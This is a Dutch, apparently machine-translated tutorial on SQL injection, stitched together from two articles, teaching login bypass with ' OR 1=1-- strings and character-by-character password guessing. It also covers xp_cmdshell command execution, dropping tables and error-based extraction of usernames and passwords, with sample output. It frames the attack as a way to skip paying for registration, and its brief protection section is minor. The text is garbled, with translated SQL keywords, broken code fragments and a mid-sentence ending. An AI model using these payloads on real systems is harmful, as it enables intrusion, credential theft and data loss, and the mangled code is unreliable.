Wat is SQL-injectie? Hoe kun je op afstand opdrachten uitvoeren met behulp van SQL-injectie?

SQL-injectie is een redelijk goede kans voor een hacker om te krijgen
toegang tot de server. En met een beetje moeite, hij
snapt het nog :)

Codeur binnen

Tegenwoordig wordt het werken met databases ondersteund
bijna alle programmeertalen, waaronder BASIC, C++, Java, PERL, PHP, Assembler en zelfs JavaScript! En deze programma's heten niets anders dan DBMS - databasebeheersystemen. Databases worden vaak gebruikt om financiële problemen op te lossen,
boekhouding, personeelsorganisatie, maar ze hebben ook hun toepassing op internet gevonden.

Databases worden vaak gebruikt om WEB-applicaties te schrijven. Het gebruik ervan is het meest geschikt voor het opslaan van gebruikersregistratiegegevens, sessie-ID's, het organiseren van zoekopdrachten en andere taken die meer verwerking vereisen
hoeveelheid gegevens. Om toegang te krijgen tot de database worden servertechnologieën gebruikt: PHP, PERL, ASP, enz. Dit is waar het plezier begint. Wanneer op de server
alle patches zijn geïnstalleerd en de firewall blokkeert alle poorten behalve 80 of wanneer authenticatie vereist is om toegang te krijgen tot bepaalde gegevens, kan een hacker SQL-injectie gebruiken om te hacken. De essentie van deze aanval is het misbruiken van een fout op het kruispunt van WEB-technologieën en SQL. Feit is dat veel webpagina's een speciale SQL-query naar de database vormen om gebruikersgegevens te verwerken. Onzorgvuldig gebruik van deze techniek kan tot behoorlijk interessante resultaten leiden...

SQL-injectie

Laten we ons, om de aanval uit te leggen, voorstellen dat je naar de site bent gegaan om een ​​heel belangrijke tool te downloaden en met afschuw opmerkt dat alleen een geregistreerde gebruiker dit kan doen, en registratie kost natuurlijk geld :) Je wilt niet weggeven je laatst verdiende geld, maar dat kan niet zonder het programma! Het is tijd om te onthouden hoe
toegang tot SQL-databases. Het controleren van uw login en wachtwoord in PHP kan er bijvoorbeeld als volgt uitzien:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" EN
pas="$wachtwoord"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
als ($num_rows!=0)
{
// AUTHENTICATIE OK
}
anders
{
// AUTHENTICATIEFOUT
}

Ik heb twee opmerkingen toegevoegd: "AUTHENTICATIE OK" - ik zou het moeten vervangen
ga naar de code die wordt uitgevoerd als het wachtwoord en de login correct zijn. Een andere “AUTHENTICATIEFOUT” is een plaats waar de code wordt beschreven die zal worden uitgevoerd als deze onjuist is. Als u het formulier invult, ziet het verzoek er als volgt uit: “http://www.server.com?login=user&password=31337”, waarbij www.server.com de naam is
de server waarmee we verbinding proberen te maken. We hebben gevonden wat we zochten en daarom gaan we weer met SQL aan de slag. Als u dus een gebruikersnaam en wachtwoord moet opgeven voor autorisatie, ziet de gegenereerde SQL-query er als volgt uit:

SELECTEER * VAN gebruikers WAAR login = "gebruiker" EN
wachtwoord = "31337"

Dit betekent ongeveer dit: stuur mij alle records terug uit de gebruikersdatabase waarvan de login "gebruiker" is en het wachtwoord "31337". Als zo'n record bestaat, dan is de gebruiker geregistreerd, maar zo niet, dan niet... Maar onder bepaalde omstandigheden kan alles worden gecorrigeerd. Dit verwijst naar de situatie waarin de applicatie de inhoud van de verzonden gegevens niet of niet volledig controleert op de aanwezigheid van SQL-instructies. In dit voorbeeld zijn twee velden login en wachtwoord aangevinkt, maar als u als wachtwoord “31337′ AND email=’ opgeeft [e-mailadres beveiligd]”(zonder dubbele aanhalingstekens), dan zal de zoekopdracht iets anders uitpakken:

SELECTEER * VAN gebruikers WAAR login = "gebruiker" EN wachtwoord = "31337" EN
e-mail = " [e-mailadres beveiligd]"

En als het e-mailveld bestaat, wordt deze voorwaarde ook gecontroleerd. Als u zich de basisbeginselen van de Booleaanse algebra herinnert, komt het in u op dat er naast de bewerking 'en' ook een 'of' is, en aangezien het gebruik ervan wordt ondersteund door SQL, kunt u
Voeg op de beschreven manier een voorwaarde toe die altijd waar retourneert. Om dit te doen, moet u “gebruiker’ OR 1=1—” opgeven als login, in welk geval het verzoek de volgende vorm zal aannemen:

SELECTEER * VAN gebruikers WAAR login="gebruiker" OF 1=1--" EN
wachtwoord = "31337"

Eerst moet u weten dat “—” het einde van het verzoek betekent, en alles na “—”
wordt niet verwerkt! Het blijkt dat we een verzoek hebben ingediend:

SELECTEER * VAN gebruikers WAAR login="gebruiker" OF 1=1

Zoals u kunt zien, hebben we de voorwaarde “1=1” toegevoegd, wat betekent dat het verificatiecriterium zal zijn “als de login 'gebruiker' is of 1=1”, maar 1 is altijd gelijk aan 1 (de enige uitzondering kan de rekenkunde van Dani Shepovalov zijn :)). Om onze vermoedens te controleren
Voer “http://www.server.com?login=user of 1=1—&password=31337” in de adresbalk in. Dit leidt ertoe dat het niet uitmaakt welke login we hebben opgegeven, maar
vooral het wachtwoord! En we zitten in de matrix... oh, in het systeem en kunnen rustig downloaden wat we nodig hebben.

Maar dit is allemaal in theorie. In de praktijk weten wij niet hoe het verzoek tot stand komt, welke gegevens worden verzonden en in welke volgorde. Daarom is het noodzakelijk om voor alle velden “gebruiker’ OR 1=1—” op te geven. Controleer ook het indieningsformulier op verborgen velden. In HTML worden ze beschreven als "". Indien aanwezig, sla de pagina op en wijzig de waarden van deze velden. Vaak wordt vergeten dat de waarden die ze bevatten, worden gecontroleerd op de aanwezigheid van SQL-instructies. Maar om alles te laten werken, moet u het volledige pad naar het script opgeven in het formulier (tag “FORM”) voor de parameter “ACTION” die dit verzoek verwerkt.

Maar het is niet altijd bekend hoe het verzoek tot stand komt,
Het vorige voorbeeld kan op de volgende manieren worden gevormd:

SELECT * VAN gebruikers WAAR (login = "gebruiker" EN wachtwoord = "31337")
SELECTEER * VAN gebruikers WAAR login = "gebruiker" EN wachtwoord = "31337"
SELECTEER * VAN gebruikers WAAR login=gebruiker EN wachtwoord=31337

In dit geval kunt u de volgende opties proberen:

‘OF 1=1—
» OF 1=1—
OF 1=1—
‘ OF ‘a’=’a
"OF "een" = "een
‘) OF (‘a’=’a
OF '1'='1'

Het hangt allemaal af van het doel van het script en van de programmeur. Omdat iedereen de neiging heeft alles op zijn eigen manier te doen, is het heel goed mogelijk dat de programmeur niet de gemakkelijkste optie kiest. Daarom moet u dit niet onmiddellijk doen
geef het op als je afgewezen wordt. Nodig
Probeer zoveel mogelijk opties...

Wachtwoorddetectie

Het omzeilen van de autorisatie is niet slecht, maar heel vaak wordt het gat dat u gebruikt gesloten en gaat alles wat voor u beschikbaar was verloren.
Dit is te verwachten als de programmeur niet gek is
Na verloop van tijd zullen alle mazen in de wet worden gedicht. U kunt gemakkelijk van dergelijke situaties afkomen door er vooraf voor te zorgen. De juiste oplossing kan zijn om het wachtwoord te raden met behulp van
analyse van authenticatieresultaten. Laten we eerst proberen het wachtwoord te raden. Voer hiervoor de locatie in:

‘OF wachtwoord>’a

Als ons wordt verteld dat de autorisatie is doorgegeven, dan is het wachtwoord
begint niet met de letter “a”, maar met een van de volgende op de lijst. Laten we verder gaan en vervangen
plaats "a", volgende "b", "c", "d", "e"... etc. totdat ze ons vertellen dat het wachtwoord niet correct is. Laat dit proces stoppen bij het symbool “x”, in welk geval er twee opties voor de ontwikkeling van de situatie ontstaan: het wachtwoord wordt gevonden of het wachtwoord begint met dit symbool. Om de eerste optie te controleren, schrijft u de wachtwoordlocatie:

‘OF wachtwoord=’x

en als het wachtwoord wordt geaccepteerd en je mag naar binnen, dan heb je het wachtwoord geraden! Nee, dan moet je het tweede karakter selecteren,
precies hetzelfde, vanaf het begin. Controleer of er twee tekens zijn
hetzelfde nodig. Uiteindelijk ontvang je een wachtwoord en zoek je op dezelfde manier naar een login :)
Als het gevonden wachtwoord en de login niet bij u passen, kunt u andere vinden. Om dit te doen, moet u beginnen met het controleren vanaf het laatste teken van het gevonden wachtwoord. Als het wachtwoord dus “xxx” is, is het noodzakelijk om het bestaan ​​van het wachtwoord te controleren
"xxxy":

‘OF wachtwoord=’xxx

om niet meer dan één optie te missen!

MS SQL-server

MS SQL Server is over het algemeen een uitkomst als de noodzakelijke filtering wordt gemist. Met behulp van de SQL Injection-kwetsbaarheid kunt u deze uitvoeren
opdrachten op de externe server met behulp van exec master..xp_cmdshell. Maar om dit ontwerp te gebruiken
de SELECT-bewerking moet worden voltooid. In SQL worden instructies gescheiden door puntkomma's. Om via Telnet verbinding te maken met een bepaald IP-adres, moet u daarom het wachtwoord/de inloglocatie invoeren:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server heeft nog een aantal interessante functies waarmee u logins en wachtwoorden kunt achterhalen die in de database zijn opgeslagen. Om dit te doen, wordt de foutuitvoer doorgestuurd naar een willekeurige server en via deze
analyse kunt u de naam van de tabel, de velden en hun typen achterhalen. Daarna kunt u een aanvraag indienen

‘UNION SELECT TOP 1 login VAN gebruikers—

(login is de naam van het veld dat de login bevat, en gebruikers is de naam van de tabel,
semi-wetenschappers in het proces van foutenanalyse).

Het antwoord zou kunnen zijn:


Syntaxisfout bij het converteren van de nvarchar-waarde "admin" to a column of data type int. !}
/default.asp, regel 27

Nu weten we dat er een gebruiker is met de naam "admin". Nu kunnen we zijn wachtwoord krijgen:

‘UNION SELECT TOP 1 wachtwoord VAN gebruikers waarbij login=’admin’—

Resultaat:

Fout '80040e07' van Microsoft OLE DB Provider voor ODBC-stuurprogramma's
Syntaxisfout bij het converteren van de nvarchar-waarde "xxx" to a column of data type int. !}
/tedault.asp, regel 27

Nu weten we dat er een gebruiker “admin” is met een wachtwoord “xxx”. Hiermee kunt u veilig
gebruik het en log in op het systeem 😉

Maar er zijn nog veel meer functies om met SQL te werken,
Wanneer u met een database werkt, kunt u ook gegevens verwijderen, wijzigen, uw eigen bestanden invoegen en zelfs bestanden manipuleren en met het register werken.
Over het algemeen gelden SQL Server-regels :)

Bescherming

Maar dit alles kan natuurlijk vermeden worden. Om dit te doen, kunt u dat doen
gebruik filters,
geleverd door fabrikanten. U kunt uw eigen oplossingen vinden, bijvoorbeeld door alle afzonderlijke te vervangen
dubbele aanhalingstekens (als we enkele aanhalingstekens gebruiken voor een SQL-query), of omgekeerd. Je kunt het gebruik van letters en s@baki alleen toestaan ​​als je moet invoeren
e-mailadres. En in parel is er een verbazingwekkende
de 🙂 quote() functie in de DBI::DBD module, die uw query SQL veilig maakt. Er zijn veel oplossingen, je hebt ze alleen nodig
profiteren van. Waarom anders dit allemaal...

Dit artikel bevat geen nieuwe waarheden; SQL-injectie wordt overal beschreven en gebruikt. Het artikel is meer bedoeld voor beginners, maar misschien kunnen professionals een of twee nieuwe trucs vinden.

Dit artikel is bedoeld om nieuwelingen te helpen omgaan met de problemen die ze kunnen tegenkomen bij het gebruik van de SQL-injectietechniek, deze met succes te gebruiken en zichzelf tegen dergelijke aanvallen te kunnen beschermen.

Invoering

Wanneer de betreffende server alleen poort 80 open heeft, en de kwetsbaarheidsscanner niets interessants kan melden, en je weet dat de systeembeheerder altijd heel snel alle patches op de webserver installeert, is onze laatste kans webhacking. SQL-injectie is een van de vormen van webhacking die alleen poort 80 gebruikt en zelfs met tijdige patches kan werken. Deze aanval is meer gericht op webapplicaties (zoals ASP, JSP, PHP, CGI etc.) dan rechtstreeks op de webserver of services in het besturingssysteem.

Dit artikel bevat geen nieuwe waarheden; SQL-injectie wordt overal beschreven en gebruikt. Het artikel is meer bedoeld voor beginners, maar misschien kunnen professionals een of twee nieuwe trucs vinden. Ik raad ook aan de links aan het einde van het artikel te bekijken voor meer gedetailleerde informatie van experts in het veld.

1.1 Wat is SQL-injectie?

SQL-injectie is een methode die is ontworpen om SQL-query's/-opdrachten via webpagina's te injecteren. Veel webpagina's gebruiken parameters die aan webgebruikers worden gepresenteerd en voeren een SQL-query uit naar de database. Laten we bijvoorbeeld het geval nemen van een gebruikersaanmelding, wanneer er een webpagina is met een naam en wachtwoord en er een SQL-query wordt uitgevoerd in de database om te controleren of er een geregistreerde gebruiker is met die naam en wachtwoord. Met behulp van SQL Injection is het mogelijk om een ​​zelfverzonnen gebruikersnaam en/of wachtwoordveld mee te sturen dat de SQL-query wijzigt, wat ons interessante zaken kan opleveren.

2.0 Waar we op moeten letten

Probeer pagina's te vinden die u om gegevens vragen, zoals een zoekpagina, discussiepagina, enz. Soms gebruiken HTML-pagina's de POST-methode om opdrachten naar een andere webpagina te verzenden. In dit geval ziet u geen parameters in de URL. In dit geval kunt u echter zoeken naar de tag "FORM" in de HTML-broncode van de pagina's. Je zult zoiets als dit vinden:



Alle parameters tussen en zijn potentieel kwetsbaar voor SQL-injectie.

2.1 Wat als u geen pagina vindt die invoer gebruikt?

Zoek naar pagina's zoals ASP-, JSP-, CGI- of PHP-webpagina's. Probeer pagina's te vinden die parameters gebruiken zoals:

3.0. Hoe kan ik controleren of wat ik heb gevonden kwetsbaar is?

Probeer te beginnen met een enkel citaat. Voer de volgende regel in:

hallo" of 1=1--

in het gebruikersnaam- of wachtwoordveld, of zelfs in de URL-parameter. Voorbeeld:

Inloggen: hallo" of 1=1--
Pass: hallo" of 1=1--
http://duck/index.asp?id=hi" of 1=1--

Als je dit met een verborgen veld hebt gedaan, download dan gewoon de originele HTML, sla deze op je harde schijf op en wijzig de URL en het verborgen veld dienovereenkomstig. Voorbeeld:


0) ( Inloggen(cn); ) ) cn.close(); Voornaamst(); %>

De kwetsbaarheid hier zit in "process_login.asp", wat een verzoek als dit creëert:

Var sql = "selecteer * uit gebruikers waarbij gebruikersnaam = "" + gebruikersnaam + "" en wachtwoord = "" + wachtwoord + """;

Als de gebruiker het volgende invoert:

Gebruikersnaam: "; tabelgebruikers verwijderen-- Wachtwoord:

De tabel "gebruikers" wordt verwijderd, waardoor alle gebruikers de toegang tot de applicatie wordt ontzegd. De combinatie "--" in Transact-SQL definieert een commentaar van één regel, en ";" markeert het einde van de ene regel en het begin van een andere. Er worden twee opeenvolgende streepjes in deze query gebruikt om de query zonder fouten te voltooien.

Bovendien kan een aanvaller onder elke gebruikersnaam inloggen op het systeem met behulp van de volgende constructie:

Gebruikersnaam: beheerder"--

En door de volgende informatie in te voeren, kan een aanvaller als fictieve gebruiker inloggen op het systeem:

Gebruikersnaam: "union select 1, "fictional_user", "some_password", 1--

De reden dat dit werkt is dat de toepassing zal "geloven" dat het geretourneerde dummy-resultaat een reeks records uit de database is.

Informatie verkrijgen op basis van foutmeldingen

De uitvinder van deze techniek is David Litchfield, een onderzoeker op het gebied van penetratietesten (ten behoeve van het testen van een beveiligingssysteem). David schreef later een artikel over dit onderwerp, waarnaar door veel andere auteurs wordt verwezen. Zijn werk legt het mechanisme voor het gebruik van foutmeldingen uit: de ‘error message’-techniek. In zijn werk legt hij deze techniek volledig uit aan de lezers, en geeft hij een verdere impuls aan de ontwikkeling van zijn eigen begrip van dit probleem.

Om gegevens succesvol te kunnen beheren, moet een aanvaller de structuur kennen van de databases en tabellen waartoe hij toegang wil krijgen. Onze tabel "gebruikers" is bijvoorbeeld gemaakt met behulp van de volgende opdracht:

Tabelgebruikers maken (id int, gebruikersnaam varchar(255), wachtwoord varchar(255), privs int)

En bevat de volgende gebruikers:

Invoegen in gebruikerswaarden(0, "admin", "r00tr0x!", 0xffff) invoegen in gebruikerswaarden(0, "gast", "gast", 0x0000) invoegen in gebruikerswaarden(0, "chris", "wachtwoord", 0x00ff) invoegen in gebruikerswaarden (0, "fred", "sesam", 0x00ff)

Laten we zeggen dat onze hacker zijn eigen record in de tabel wil invoegen. Het is onwaarschijnlijk dat hij zal slagen als hij de structuur ervan niet kent. Maar zelfs als hij daarin slaagt, zal de betekenis van het ‘privs’-veld onduidelijk blijven. Een aanvaller kan de waarde "1" invoeren, waardoor een account met weinig rechten wordt aangemaakt, terwijl hij toegang nodig heeft op applicatiebeheerdersniveau.

Gelukkig is het standaard ASP-gedrag bij fouten voor een hacker het weergeven van berichten hierover, en deze gebruiken om de structuur van de database volledig te bepalen, en zo de waarden te achterhalen van alle velden van gebruikersaccounts die in de applicatie worden ingevoerd. database.

(In het volgende voorbeeld zullen we de hierboven voorgestelde database gebruiken, evenals een ASP-script, om deze techniek in actie te laten zien.)

Ten eerste zal de aanvaller de namen willen bepalen van de tabellen waarop de query's werken, evenals de namen van de velden. Om dit doel te bereiken, gebruikt een aanvaller de constructie 'have' in de select-expressie:

Gebruikersnaam: "met 1=1--

Wat de volgende fout zal veroorzaken:

Microsoft OLE DB Provider voor ODBC-stuurprogramma's fout "80040e14" Kolom "users.id" is ongeldig in de selectielijst omdat deze niet is opgenomen in een aggregatiefunctie en er geen GROUP BY-clausule is. /process_login.asp, regel 35

Dus ken de namen van de tabellen en de naam van de eerste kolom daarin. Deze procedure kan worden voortgezet met behulp van de operator "groeperen op", zoals hieronder weergegeven:

Gebruikersnaam: " groepeer op gebruikers.id met 1=1--

(wat op zijn beurt een nieuwe fout zal genereren)

Microsoft OLE DB Provider voor ODBC-stuurprogramma's fout "80040e14" Kolom "users.username" is ongeldig in de selectielijst omdat deze niet is opgenomen in een aggregatiefunctie of de GROUP BY-clausule.
Als gevolg hiervan zal de hacker met de volgende constructie komen:
" groeperen op gebruikers.id, gebruikers.gebruikersnaam, gebruikers.wachtwoord, gebruikers.privs met 1=1--
Dit zal geen fout veroorzaken en is gelijk aan:
selecteer * uit gebruikers waarbij gebruikersnaam = ""
Op deze manier weet de aanvaller dat het verzoek alleen invloed heeft op de tabel "users", waarvan de structuur "id, gebruikersnaam, wachtwoord, privs" is (in die volgorde).
Deze informatie is handig als u kunt achterhalen welk gegevenstype in elk van de kolommen wordt gebruikt.
Informatie over het gegevenstype kan worden verkregen met behulp van "typeconversie", bijvoorbeeld:
Gebruikersnaam: "union select sum(gebruikersnaam) van gebruikers--
Het punt van de functie summ() is dat de SQL-server deze probeert uit te voeren voordat wordt bepaald of de waarde numeriek of teken is.
Als u probeert de "som" van een tekstveld te berekenen, resulteert dit in de volgende fout:
Microsoft OLE DB Provider voor ODBC-stuurprogramma's fout "80040e07" De som of gemiddelde aggregatiebewerking kan geen varchar-gegevenstype als argument gebruiken. /process_login.asp, regel 35
Dat vertelt ons dat het gegevenstype in het veld "gebruikersnaam" varchar is.
Aan de andere kant, als we proberen sum() van een numeriek type te evalueren, zullen we een bericht ontvangen dat ons meldt dat het aantal tekens in de set van twee tekstreeksen niet overeenkomt:
Door dit verzoek in te vullen, kunt u veel interessante informatie krijgen.
Bijzonder nuttig is de informatie over typeconversie. Als u probeert een string naar een geheel getal te converteren, wordt er een bericht geretourneerd met de volledige inhoud van de string." to a column of data type int. /process_login.asp, line 35 !}
In ons voorbeeld retourneert de "gebruikersnaam"-conversie zowel de SQL-serverversie als de versie van het besturingssysteem.
Gebruikersnaam: " union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntaxisfout bij het converteren van de nvarchar-waarde "Microsoft SQL Server 2000 - 8.00.194 (Intel X86) 6 augustus 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition op Windows NT 5.0 (Build 2195: Service Pack 2)
In het bovenstaande voorbeeld proberen we de ingebouwde constante "@@version" naar een geheel getal te converteren, aangezien de eerste kolom in de tabel "users" van dit gegevenstype is.
De methode kan worden gebruikt om elke waarde in elke tabel in de database te lezen." to a column of data type int. /process_login.asp, line 35 !}
Als een aanvaller dus gebruikersnamen en wachtwoorden wil achterhalen, zal hij hoogstwaarschijnlijk de volgende constructie gebruiken om de gegevens te lezen:
Gebruikersnaam: "union selecteer min(gebruikersnaam),1,1,1 van gebruikers waarbij gebruikersnaam > "a"--" to a column of data type int. /process_login.asp, line 35 !}
Als u een gebruiker selecteert wiens "gebruikersnaam" groter is dan "a", zal dit resulteren in een poging om typen naar een geheel getal te converteren:
Microsoft OLE DB Provider voor ODBC-stuurprogramma's fout "80040e07" Syntaxisfout bij het converteren van de varchar-waarde "admin
We ontvangen dus een lijst met gebruikers, waarna we verder kunnen gaan met het verkrijgen van wachtwoorden:
Gebruikersnaam: " union select wachtwoord,1,1,1 van gebruikers waarbij gebruikersnaam = "admin" - Microsoft OLE DB Provider voor ODBC-stuurprogramma's fout "80040e07" Syntaxisfout bij het converteren van de varchar-waarde "r00tr0x!
Deze zoekopdracht zal een tabel foo creëren, die een enkele kolom "ret" zal bevatten, die al onze rijen zal bevatten.
Vaak heeft zelfs een gebruiker met weinig bevoegdheden de mogelijkheid om een ​​tabel in een database of zelfs een tijdelijke database te maken." to a column of data type int. /process_login.asp, line 35 !}
Een aanvaller kan dus alle rijen uit deze tabel selecteren, net als in het vorige voorbeeld:
Gebruikersnaam: " union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntaxisfout bij het converteren van de varchar-waarde ": admin/r00tr0x! guest/guest chris/password fred /sesam
En dan zal hij zijn sporen uitwissen door de tabel te verwijderen: